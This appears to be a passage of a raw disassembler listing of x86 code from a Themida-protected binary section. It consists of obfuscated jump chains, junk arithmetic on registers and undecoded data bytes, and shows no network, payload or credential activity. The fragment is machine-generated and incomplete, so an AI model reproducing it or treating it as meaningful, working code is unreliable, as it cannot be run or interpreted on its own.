		dd 4C48100h, 0E9000000h, 1084Ch
; ---------------------------------------------------------------------------

loc_502490:				; CODE XREF: Themida_:0050D09Aj
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_5026FD
; ---------------------------------------------------------------------------

loc_5024AA:				; CODE XREF: Themida_:0051292Bj
		sub	eax, 4BE53A7Ch
		jmp	loc_514163
; ---------------------------------------------------------------------------

loc_5024B4:				; CODE XREF: Themida_:00511E61j
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 63070F33h
		mov	edx, ecx
		mov	ecx, [esp]
		push	ecx
		jmp	loc_50318C
; ---------------------------------------------------------------------------
		db 89h
		dd 9FE9241Ch
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5024D3:				; CODE XREF: Themida_:0050C2C0j
		neg	ebp
		jmp	loc_50B2B1
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 52F1F724h, 29E9E289h, 66FFFFE2h, 56241489h, 0C681E689h
		dd 4, 8704EE83h, 895C2434h, 5CB3241Ch, 0DE28CEB6h, 91F5E9h
		db 0
; ---------------------------------------------------------------------------

loc_502509:				; CODE XREF: Themida_:0050314Fj
		add	ebp, 6D6F39E4h
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_506B35
; ---------------------------------------------------------------------------
		dw 1505h
		dd 0E90F797Eh, 0D012h
; ---------------------------------------------------------------------------

loc_502530:				; CODE XREF: Themida_:0050261Ej
		inc	eax
		jmp	loc_50C9E5
; ---------------------------------------------------------------------------

loc_502536:				; CODE XREF: Themida_:004FFECAj
		add	[esp+4], ebp
		jmp	loc_50DD30
; ---------------------------------------------------------------------------
		db 49h
		dd 2414F751h, 606AE9h, 0FFE82100h, 2C8B2434h, 0E1895124h
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 81E78957h,	4C7h, 4C166800h
		dd 14890000h, 41AFBA24h, 0CA81047Ch, 5B6814FEh,	210AE281h
		dd 0A2E931F5h, 830000C1h, 1C8904ECh, 801BB324h,	0E3C001C3h
		dd 7EBC008h, 0E9CFE380h, 4644h,	83241C8Bh, 0F38104C4h
		dd 6F0F22C1h, 0DA98E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5025B6:				; CODE XREF: Themida_:0050D6BFj
		sub	edx, 36B452A9h
		add	edx, 7ABD7246h
		pop	edi
		shr	edx, 3
		push	ebx
		mov	ebx, 0DEB24715h
		sub	edx, ebx
		pop	ebx
		jmp	loc_50F6AB
; ---------------------------------------------------------------------------

loc_5025D4:				; CODE XREF: Themida_:00511A38j
		or	ecx, 1F1C4214h
		push	ebx
		jmp	loc_512FC3
; ---------------------------------------------------------------------------
		dd 83242C8Bh, 685804C4h, 45E0h,	0E9240C89h, 0BFC6h, 242CD25Ch
		dd 4657E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5025FE:				; CODE XREF: Themida_:00504520j
		pop	edx
		jmp	loc_5042A5
; ---------------------------------------------------------------------------

loc_502604:				; CODE XREF: Themida_:005029B6j
		mov	[esp], ecx
		mov	ecx, 505E5471h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 654515D5h
		not	eax
		or	eax, 0BCD070Ah
		jmp	loc_502530
; ---------------------------------------------------------------------------
aSP		db '\!P',0
		db 0
; ---------------------------------------------------------------------------

loc_502629:				; CODE XREF: Themida_:0050A925j
		sub	esp, 4
		jmp	loc_5087FE
; ---------------------------------------------------------------------------

loc_502634:				; CODE XREF: Themida_:00507CEBj
		add	esp, 4
		jmp	loc_50A91B
; ---------------------------------------------------------------------------

loc_50263C:				; CODE XREF: Themida_:0050A35Ej
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	1A3h
		jmp	loc_50DC6A
; ---------------------------------------------------------------------------
aR8Gs		db 'R8g鱴',0
		db 0
; ---------------------------------------------------------------------------

loc_502657:				; CODE XREF: Themida_:00507EE9j
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_503699
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4EC81h, 3C890000h, 51E78924h, 4B9h, 8BCF0100h, 0C483240Ch
		dd 4C78104h, 87000000h,	515C243Ch, 543E05B9h, 82F18176h
		dd 81789B25h, 0D230D2C9h, 4903E938h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5026A2:				; CODE XREF: Themida_:00508E40j
		mov	edi, 3ED85520h
		shr	edi, 8
		add	edi, 78063CA6h
		jmp	loc_50A571
; ---------------------------------------------------------------------------

loc_5026B5:				; CODE XREF: Themida_:0050323Bj
		add	edx, eax
		pop	eax
		jmp	loc_51377E
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
aSl		db '+%',0
		dw 5E00h
		dd 6213E9h
		db 0
; ---------------------------------------------------------------------------

loc_5026CD:				; CODE XREF: Themida_:0050BF3Fj
		push	esi
		push	edi
		push	6F8E59F6h
		pop	edi
		and	edi, 5F857C03h
		jmp	loc_50BD37
; ---------------------------------------------------------------------------
		dd 90B65266h, 1038EE9h
		db 0
; ---------------------------------------------------------------------------

loc_5026E9:				; CODE XREF: Themida_:0050B6B9j
		add	esi, 6ACB1418h
		jmp	loc_5035EA
; ---------------------------------------------------------------------------
aZSn8		db '^,$n8',0
		db 0
; ---------------------------------------------------------------------------

loc_5026FD:				; CODE XREF: Themida_:005024A5j
		add	ecx, eax
		pop	eax
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_5100C6
; ---------------------------------------------------------------------------

loc_502712:				; CODE XREF: Themida_:0050FDB1j
		mov	edx, esp
		push	eax
		push	ecx
		mov	ecx, 4
		mov	eax, ecx
		jmp	loc_50524C
; ---------------------------------------------------------------------------
		dw 835Ch
		dd 0EC8104C4h, 4, 6419E9h
		db 0
; ---------------------------------------------------------------------------

loc_502731:				; CODE XREF: Themida_:00512BABj
		neg	ebp
		add	ebp, 2E0C1210h
		jmp	loc_50955E
; ---------------------------------------------------------------------------

loc_50273E:				; CODE XREF: Themida_:0050EFE5j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		jmp	loc_50D737
; ---------------------------------------------------------------------------

loc_50274D:				; CODE XREF: Themida_:0050E70Bj
		pop	ebp
		jmp	loc_50C0C0
; ---------------------------------------------------------------------------

loc_502753:				; CODE XREF: Themida_:00513C9Bj
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 36B57C47h
		xor	esi, 5DDD466Ah
		push	edx
		mov	edx, 39782DDCh
		inc	edx
		and	edx, 34D3225Ch
		sub	edx, 2C8630BFh
		add	esi, edx
		pop	edx
		sub	eax, esi
		pop	esi
		push	ecx
		jmp	loc_50FA39
; ---------------------------------------------------------------------------

loc_502791:				; CODE XREF: Themida_:0050BAA2j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_50093C
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 29000000h, 3C875BDFh, 1C895C24h, 5621BB24h, 0EB811E02h
		dd 79FB410Ch, 0FFE898E9h, 20E956FFh
		db 6, 1, 0
; ---------------------------------------------------------------------------

loc_5027C7:				; CODE XREF: Themida_:0050911Ej
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 64F3308Fh
		add	ecx, 0F955DE60h
		jmp	loc_50A441
; ---------------------------------------------------------------------------

loc_5027E7:				; CODE XREF: Themida_:0051433Aj
		jz	loc_50A5DD
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		jmp	loc_513985
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 40500h, 4870000h, 3585E924h, 0E2800000h, 88EA8099h
		dd 0A695E9h
		db 0
; ---------------------------------------------------------------------------

loc_502819:				; CODE XREF: Themida_:00508971j
		mov	esi, 66B6468Ch
		dec	esi
		add	esi, 1
		xor	esi, 68662C75h
		jmp	loc_510D2A
; ---------------------------------------------------------------------------
		dd 4C381h, 1C870000h, 0C4835C24h, 89535704h, 4C381E3h
		dd 56000000h, 0FFD75FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50284D:				; CODE XREF: Themida_:0050BC91j
		add	esp, 4
		sub	ecx, 7E563291h
		jmp	loc_51024B
; ---------------------------------------------------------------------------
		db 80h
		dd 0C680F6F6h, 0F58851D1h, 624FE9h, 74E18100h, 811BC009h
		dd 0FF5B2BF1h, 838BE974h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50287A:				; CODE XREF: Themida_:005057C7j
		sub	ecx, 979F1253h
		jmp	loc_5018DA
; ---------------------------------------------------------------------------

loc_502885:				; CODE XREF: Themida_:00513CD4j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_51060C
; ---------------------------------------------------------------------------

loc_5028A7:				; CODE XREF: Themida_:005090C8j
		xchg	edi, [esp]
		jmp	loc_508A08
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 682FE9h, 14895C00h, 1EABE924h, 0EB810001h
		dd 541C1533h, 62E5E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5028D2:				; CODE XREF: Themida_:0050BDD1j
		add	esp, 4
		pop	ebp
		push	14F9h
		jmp	loc_507DF2
; ---------------------------------------------------------------------------

loc_5028E0:				; CODE XREF: Themida_:00503700j
		pop	esp
		not	ebx
		add	ebx, 32566CA6h
		add	ebx, 0FFFFFFFFh
		push	edx
		jmp	loc_50C697
; ---------------------------------------------------------------------------
		dw 1C89h
aH1		db '$h{1',0
		align 2
		dw 0C89h
		dd 0E8B65224h, 888FF680h, 50525AF5h, 0C6880AB0h, 654AE958h
		dd 95B0000h, 0E9591C4Fh, 0FFFFD2FDh, 240C8B66h,	68E38953h
		dd 4959h, 55240C89h, 4BDh, 5DE98900h, 5A685350h, 5B7C5F3Ch
		dd 535BD889h, 8516E9h, 243C3300h, 0CEC8E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50294E:				; CODE XREF: Themida_:005124F0j
		sub	dword ptr [esp+4], 6F85107Ch
		add	[esp+4], edx
		add	dword ptr [esp+4], 6F85107Ch
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edi
		mov	edi, 7E102784h
		sub	edi, 232E592Eh
		shr	edi, 3
		jmp	loc_500538
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 83000000h, 0FF5104C1h, 59042474h, 0E924048Fh, 4121h
		dd 0E904C483h, 814Bh, 0D1240481h, 0E96ACA72h, 3137h
; ---------------------------------------------------------------------------

loc_5029AC:				; CODE XREF: Themida_:00505DE2j
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_502604
; ---------------------------------------------------------------------------

loc_5029BB:				; CODE XREF: Themida_:00508D80j
		mov	ebx, 1ABA5713h
		not	ebx
		neg	ebx
		jmp	loc_50AF8F
; ---------------------------------------------------------------------------
aTsA		db ',$',0
		align 10h

loc_5029D0:				; CODE XREF: Themida_:00502B47j
		push	esp
		pop	ecx
		jmp	loc_5087B1
; ---------------------------------------------------------------------------

loc_5029D7:				; CODE XREF: Themida_:005086CAj
		mov	edx, 4
		add	eax, edx
		jmp	loc_50667F
; ---------------------------------------------------------------------------

loc_5029E3:				; CODE XREF: Themida_:005085FAj
		mov	[esp], ebx
		mov	ebx, 15286510h
		push	esi
		push	ecx
		mov	ecx, 0EAD79BF0h
		push	ecx
		pop	esi
		pop	ecx
		sub	ebx, 19646F90h
		add	ebx, 480A17EFh
		push	25CFh
		mov	[esp], eax
		mov	eax, 55B22ADAh
		jmp	loc_501896
; ---------------------------------------------------------------------------

loc_502A13:				; CODE XREF: Themida_:005100C7j
		mov	edx, esp
		jmp	loc_505B40
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 1160Dh
; ---------------------------------------------------------------------------

loc_502A20:				; CODE XREF: Themida_:0050BD52j
		mov	ecx, 32EE4D40h
		inc	ecx
		jmp	loc_50D547
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0FA4DE9D5h, 4966FFFFh, 0F7665166h, 59662414h, 98C98166h
		dd 0C981665Ah, 81666E73h, 663CF2F1h, 6659C821h,	66DA032Dh
		dd 0B4FC381h, 2334E9h
		db 0
; ---------------------------------------------------------------------------

loc_502A5D:				; CODE XREF: Themida_:0050BCC8j
		add	esi, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebp
		jmp	loc_5019AC
; ---------------------------------------------------------------------------

loc_502A6C:				; CODE XREF: Themida_:00512C33j
		dec	edi
		jmp	loc_5072FB
; ---------------------------------------------------------------------------

loc_502A72:				; CODE XREF: Themida_:0050F2DFj
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_511E94
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_503C86
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048124h, 4, 5B2434FFh, 4C481h, 4B680000h, 89000038h
		dd 3BBE2434h, 0C1180634h, 0C68108EEh, 122B4A25h, 0C9E9E6D1h
		dd 8B0000DFh, 2CD32424h, 4BE99C24h, 0FFFFFFCDh,	565E2434h
		dd 38B9E9h, 0BF665700h,	0BA6612C1h, 296625EEh, 243C8BFAh
		dd 0FFE897E9h, 0E9505AFFh, 0D3BCh, 6E08BA52h, 0C28128D7h
		dd 18D0BB1h, 0FFC28142h, 81FFFFFFh, 0F3CADEC2h,	0FFD0292Fh
		dd 0C3E92434h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_502B13:				; CODE XREF: Themida_:0050581Dj
		pop	edi
		push	edi
		push	4A6A75FEh
		pop	edi
		add	ebx, 3F4C64C5h
		add	ebx, 8E23FE7h
		add	ebx, edi
		sub	ebx, 8E23FE7h
		sub	ebx, 3F4C64C5h
		pop	edi
		shr	ebx, 8
		dec	ebx
		xor	ebx, 0E04539h
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		jmp	loc_5029D0
; ---------------------------------------------------------------------------

loc_502B4C:				; CODE XREF: Themida_:00507EDAj
		dec	ebp
		shr	ebp, 6
		neg	ebp
		jmp	loc_514D2A
; ---------------------------------------------------------------------------
		db 57h
		dd 269E9h, 73E98000h, 0CB285866h, 3767E9h, 81E38900h, 4C3h
		dd 4DE95500h, 57000035h, 0FF99E9h, 0D8685A00h, 8900006Ch
		dd 0E9522404h, 7BF1h
; ---------------------------------------------------------------------------

loc_502B8C:				; CODE XREF: Themida_:0050466Ej
		push	esp
		pop	dword ptr [esp]
		jmp	loc_50C50B
; ---------------------------------------------------------------------------

loc_502B95:				; CODE XREF: Themida_:00509D13j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	754Dh
		mov	[esp], ebx
		push	esi
		jmp	loc_500478
; ---------------------------------------------------------------------------

loc_502BB0:				; CODE XREF: Themida_:00501759j
		sub	eax, edx
		add	eax, 60031E1Ch
		jmp	loc_502C7D
; ---------------------------------------------------------------------------

loc_502BBC:				; CODE XREF: Themida_:00514CCBj
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_514338
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0E99C2404h, 0FFFFCC46h, 237605BEh, 2474296Bh, 4815E04h
		dd 0BA189624h, 2404296Bh, 1896B951h, 4C296BBAh,	0F2E90424h
		dd 810000ADh, 4C4h, 5AD72800h, 68CBEF80h, 3994h, 89241C89h
		dd 4C381E3h, 81000000h,	2EBh, 241C8700h, 489665Ch, 0C0E0B024h
		dd 0CA3407E8h, 8B66C730h, 0C4832404h, 24EF8002h, 2DB05066h
		dd 48DAE9h
		db 0
; ---------------------------------------------------------------------------

loc_502C39:				; CODE XREF: Themida_:005048A6j
		sub	esp, 4
		mov	[esp], esi
		push	371D22A3h
		jmp	loc_5072BF
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 33000000h, 0CBE9243Ch
		db 0E0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_502C57:				; CODE XREF: Themida_:005008EEj
		pop	edx
		inc	edi
		not	edi
		sub	edi, 95B0AAB3h
		push	edi
		mov	edi, 1F9A3E1Eh
		jmp	loc_506B68
; ---------------------------------------------------------------------------
		dd 79E9F831h, 21000023h, 0E0D15AD0h, 1CBDE9h
		db 0
; ---------------------------------------------------------------------------

loc_502C7D:				; CODE XREF: Themida_:00502BB7j
		pop	edx
		push	dword ptr [esp]
		jmp	loc_5132F1
; ---------------------------------------------------------------------------
		dw 335Bh
		dd 14312414h, 24143324h, 0E924248Bh, 0FFFFCB7Eh
; ---------------------------------------------------------------------------

loc_502C98:				; CODE XREF: Themida_:00505100j
		add	esp, 4
		jmp	loc_50A83A
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0FFFFD7C1h
; ---------------------------------------------------------------------------

loc_502CAC:				; CODE XREF: Themida_:0050A951j
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_50F70C
; ---------------------------------------------------------------------------

loc_502CC0:				; CODE XREF: Themida_:0050423Fj
		pop	eax
		add	edx, esi
		pop	esi
		jmp	loc_50EA52
; ---------------------------------------------------------------------------

loc_502CC9:				; CODE XREF: Themida_:00507D68j
		add	edi, 45357E51h
		add	edi, esi
		sub	edi, 45357E51h
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5022F7
; ---------------------------------------------------------------------------
		dd 89242C89h, 4C581E5h,	83000000h, 2C8702C5h, 24248B24h
		dd 9C240CD3h, 0FFCB11E9h, 4C181FFh, 57000000h, 0B618E168h
		dd 0CF815F44h, 710D4A2Eh, 0D102E7C1h, 0AF3E9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_502D22:				; CODE XREF: Themida_:00500CE7j
		pop	edi
		add	ecx, ebp
		pop	ebp
		jmp	loc_507E28
; ---------------------------------------------------------------------------

loc_502D2B:				; CODE XREF: Themida_:005121F3j
		mov	[esp], edx
		mov	edx, 4D2438A0h
		add	eax, edx
		pop	edx
		push	eax
		not	dword ptr [esp]
		pop	eax
		jmp	loc_50C48E
; ---------------------------------------------------------------------------
		dd 0E189E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_502D46:				; CODE XREF: Themida_:0051331Fj
		mov	edi, 4
		add	eax, edi
		pop	edi
		jmp	loc_51356C
; ---------------------------------------------------------------------------

loc_502D53:				; CODE XREF: Themida_:0050CF14j
		sub	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_50D442
; ---------------------------------------------------------------------------
		dd 4CCEC981h, 0F1810AC6h, 0AA0722E5h, 5259CB89h, 866014BAh
		dd 9DC38120h, 81482245h, 1C1533C3h, 7BEB8154h, 154D478h
		dd 7BC381D3h, 0E954D478h, 0FFFFFB32h, 42474FFh,	24048F5Fh
		dd 0FFD7B4E9h, 4EEC1FFh, 8107EEC1h, 227E67C6h, 1BCE817Eh
		dd 813BFD1Eh, 723B62F6h, 0DAF68117h, 2121A72Bh,	162E9F2h
		dd 66510000h, 66740368h, 0E9416659h, 7848h, 0E9D2F480h
		dd 8FDh, 12E9D389h
		db 0DDh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_502DE3:				; CODE XREF: Themida_:00504010j
		push	edx
		mov	edx, 4
		add	esi, edx
		push	dword ptr [esp]
		jmp	loc_500B50
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C2E92414h, 0BF000082h, 5571159Fh, 3C74E9h
		db 0
; ---------------------------------------------------------------------------

loc_502E05:				; CODE XREF: Themida_:005094FEj
		sub	dword ptr [esp+4], 6AD503E9h
		add	[esp+4], esi
		add	dword ptr [esp+4], 6AD503E9h
		push	ecx
		mov	ecx, 47944873h
		jmp	loc_5005C5
; ---------------------------------------------------------------------------
		dd 8957D830h, 0BB5356E7h, 4D284117h, 0E98D71BEh, 5BDE299Ch
		dd 79B1E9h, 4BDDBB00h, 462D4056h, 13C772Bh, 2B4605D8h
		dd 2D5B3C77h, 6A914FA6h, 19E95548h, 510000D0h, 12080BB9h
		dd 378BB81Dh, 0C82995C3h, 58C1E9h, 4EC8100h, 89000000h
		dd 0FF542414h, 0E95A2434h, 11557h, 4DAF6849h, 1C890000h
		dd 73ABB24h, 0EB816644h, 0F50B8EA4h, 77E9D931h,	88FFFFFAh
		dd 1C8B66FAh, 2C48324h,	3DBEE9h
		db 0
; ---------------------------------------------------------------------------

loc_502EA9:				; CODE XREF: Themida_:00500785j
		add	ebp, 736441D2h
		jmp	loc_50D6FC
; ---------------------------------------------------------------------------

loc_502EB4:				; CODE XREF: Themida_:0050A455j
		sub	eax, 0BC605C5h
		sub	eax, 1B19821Eh
		sub	ebx, eax
		pop	eax
		add	edx, ebx
		pop	ebx
		jmp	loc_505BFE
; ---------------------------------------------------------------------------
		db 2Dh,	3Eh, 0Eh
		dd 8957A8ACh, 0DD92E9C7h, 0F758FFFFh, 0D2F74ADAh, 66D7C281h
		dd 0EA817795h, 8B80C063h, 0FFE811E9h, 0C0B60FFFh, 24148B66h
		dd 1C8B5453h, 0B946E924h, 3C890000h, 57DF8924h,	3394E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_502F0A:				; CODE XREF: Themida_:0050AD4Bj
		push	edx
		push	edi
		mov	edi, 6D510433h
		push	ebx
		mov	ebx, 35EC2938h
		add	edi, ebx
		pop	ebx
		add	edi, 8E2A4FD9h
		mov	edx, edi
		pop	edi
		jmp	loc_50A13A
; ---------------------------------------------------------------------------
		dd 70CA815Eh, 81225351h, 403194C2h, 4AD2F777h, 8F8AC281h
		dd 0D6019A93h, 4C6815Ah, 87000000h, 248B2434h, 9CBE5624h
		dd 2903C67Fh, 2948E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_502F5A:				; CODE XREF: Themida_:00506207j
		neg	ebp
		or	ebp, 24B42949h
		and	ebp, 727A1701h
		and	ebp, 5F7E4934h
		inc	ebp
		sub	ebp, 503800FDh
		add	ebx, ebp
		pop	ebp
		push	edi
		mov	edi, 428404E7h
		sub	edi, 2CA77C1Dh
		jmp	loc_506B1F
; ---------------------------------------------------------------------------
		db 68h,	0CAh, 2Bh
		dd 14890000h, 88E68824h, 48B5AF1h, 4C48124h, 88000000h
		dd 0C8B66C8h, 0E7895724h, 4C781h, 0C7810000h, 2, 8B243C87h
		dd 4302424h, 0D773E924h, 0CB800000h, 0B2EB80EBh, 805BDE08h
		dd 0A12C8CEEh, 0A104F000h, 34FF5A66h, 0C4835A24h, 0B0506604h
		dd 0B2B0503Dh, 4304D0F6h, 0E958C328h, 0FFFFEBA0h
; ---------------------------------------------------------------------------

loc_502FF0:				; CODE XREF: Themida_:0050D8FCj
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	edx, esi
		sub	edx, 17DA564Ah
		jmp	loc_5001F0
; ---------------------------------------------------------------------------
		dw 7C2Dh
		dd 0C13D0723h, 8F0506E8h, 2D160440h, 0FBC262CDh, 0C158C731h
		dd 9DE905E7h, 8100007Ah, 4C6h, 4EE8100h, 0E9000000h, 0FFFFEB79h
		dd 2842ED80h, 49A2E9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50303A:				; CODE XREF: Themida_:00504181j
		cmp	cl, al
		pushf
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
aK7		db 'K7]',0
		db 29h
		dd 243C8BFDh, 81E38953h, 4C3h, 262EE900h, 0CD810000h, 3A62611Fh
		dd 0BE9DE9h, 3C896600h,	81BF6624h, 6C816647h, 5DB10424h
		dd 247C0166h, 66536604h, 665DB1BBh, 6245C01h, 4DF9E9h
		dd 24148B00h, 4C481h, 0EC830000h, 240C8904h, 0ADEEE9h
		dd 5BD90100h, 6859CB89h, 272Bh,	81240489h, 3851242Ch, 34FF449Fh
		dd 24048B24h, 5504C483h, 4EC81h, 0E9540000h, 0EBFFh, 9AE95643h
		dd 30000103h, 0D485E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5030D6:				; CODE XREF: Themida_:00500C63j
		mov	edi, esp
		push	eax
		jmp	loc_50DEF0
; ---------------------------------------------------------------------------
		dw 0C588h
		dd 0E924048Bh, 2B84h
; ---------------------------------------------------------------------------

loc_5030E8:				; CODE XREF: Themida_:00512AAFj
		pop	edi
		jmp	loc_50A4D9
; ---------------------------------------------------------------------------
		dw 23E9h
		dd 5AFFFFC7h, 0EB80CB00h, 91E95907h, 1000029h, 0C2895BD8h
		dd 0E9D30158h, 0FFFFCD74h, 7B8768h, 0A2F9E900h,	355A0000h
		dd 12D067EEh, 0D863E82Dh, 0BBC68152h, 53300329h, 0CA1FE9h
		db 0
; ---------------------------------------------------------------------------

loc_50312D:				; CODE XREF: Themida_:0050D47Dj
		push	5B7C4490h
		pop	edi
		xor	edi, 48C327A3h
		add	edi, 0EC409CD1h
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebp, 6D6F39E4h
		add	ebp, ebx
		jmp	loc_502509
; ---------------------------------------------------------------------------
		dd 9F395DBEh, 3108B975h, 0F13106A5h, 8124348Bh,	4C4h, 0F9BF5700h
		dd 0C127CF05h, 0BB5304EFh, 5D610BFCh, 4A24E381h, 0CB8134ADh
		dd 55C13F61h, 0E906E3C1h, 0FFFFEF8Eh
; ---------------------------------------------------------------------------

loc_50318C:				; CODE XREF: Themida_:005024C6j
		mov	ecx, esp
		jmp	loc_501C70
; ---------------------------------------------------------------------------

loc_503193:				; CODE XREF: Themida_:00504E24j
		pop	ebx
		jmp	loc_51343C
; ---------------------------------------------------------------------------
aUrsx		db ']UR&',0
		db 0
; ---------------------------------------------------------------------------

loc_5031A1:				; CODE XREF: Themida_:0050FEF9j
		pop	esp
		push	207Bh
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esi, 4
		push	ecx
		mov	ecx, 5B040621h
		jmp	loc_5002DD
; ---------------------------------------------------------------------------
aVrszz		db 'VRZZ',0
		align 2

loc_5031E2:				; CODE XREF: Themida_:0050780Fj
		pop	esp
		mov	[esp], ecx
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
aTyska		db 'TY',0
		align 2
		dw 0E951h
		dd 0FFFFFFF3h, 63232BFh, 0E9DFF70Bh, 6B43h, 0FF2434FFh
		dd 34FF2434h, 4FE95B24h, 33FFFFC8h, 3C31243Ch, 243C3324h
		dd 6624248Bh, 0E9240C89h, 66C4h
; ---------------------------------------------------------------------------

loc_503228:				; CODE XREF: Themida_:00506D54j
		inc	eax
		add	eax, 26E77A92h
		shl	eax, 5
		or	eax, 6A714308h
		sub	eax, 0FFF7EB04h
		jmp	loc_5026B5
; ---------------------------------------------------------------------------
		dd 0BB53F001h, 69902A49h, 685BD829h, 6B0Eh, 68242C89h
		dd 127F7492h, 52D5F75Dh, 1E68B850h, 0C28935B2h,	1167EE9h
		dd 64C58100h, 29D0721Bh, 0E2E5E9EBh, 8166FFFFh,	0E9C12AC3h
		dd 0E3A8h
; ---------------------------------------------------------------------------

loc_503280:				; CODE XREF: Themida_:00512735j
		not	dword ptr [esp]
		jmp	loc_5034CC
; ---------------------------------------------------------------------------

loc_503288:				; CODE XREF: Themida_:00504257j
		xor	edi, [esp]
		jmp	loc_4FFCCC
; ---------------------------------------------------------------------------

loc_503290:				; CODE XREF: Themida_:005009BFj
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	dx, [esp]
		add	esp, 2
		add	bl, al
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 4
		shl	cl, 5
		push	ebx
		mov	bl, 0F0h
		and	bl, 3Fh
		shr	bl, 7
		jmp	loc_5121C8
; ---------------------------------------------------------------------------
		dd 563ACE05h, 508EE95Bh, 0F0010000h, 5E2434FFh,	15E95450h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5032E3:				; CODE XREF: Themida_:00507773j
		sub	edx, ebp
		mov	ebp, [esp]
		push	ecx
		jmp	loc_50E1A8
; ---------------------------------------------------------------------------

loc_5032EE:				; CODE XREF: Themida_:0050A805j
		pop	edx
		sub	eax, 43867DFAh
		add	eax, edx
		add	eax, 43867DFAh
		jmp	loc_50BF3D
; ---------------------------------------------------------------------------
		dd 0E9D30059h, 0FFFFFD81h, 92661868h, 0E9415973h, 390Fh
; ---------------------------------------------------------------------------

loc_503314:				; CODE XREF: Themida_:0050000Ej
		sub	esp, 4
		jmp	loc_509CE9
; ---------------------------------------------------------------------------
		dd 4C481h, 14870000h, 24248B24h, 240C8B66h, 331C68h, 0ACD0E900h
		dd 248B0000h, 0C4D8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50333E:				; CODE XREF: Themida_:00514A66j
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_50A74D
; ---------------------------------------------------------------------------
aRvsxr		db 'RVXR',0
		align 2
		dw 1C8Bh
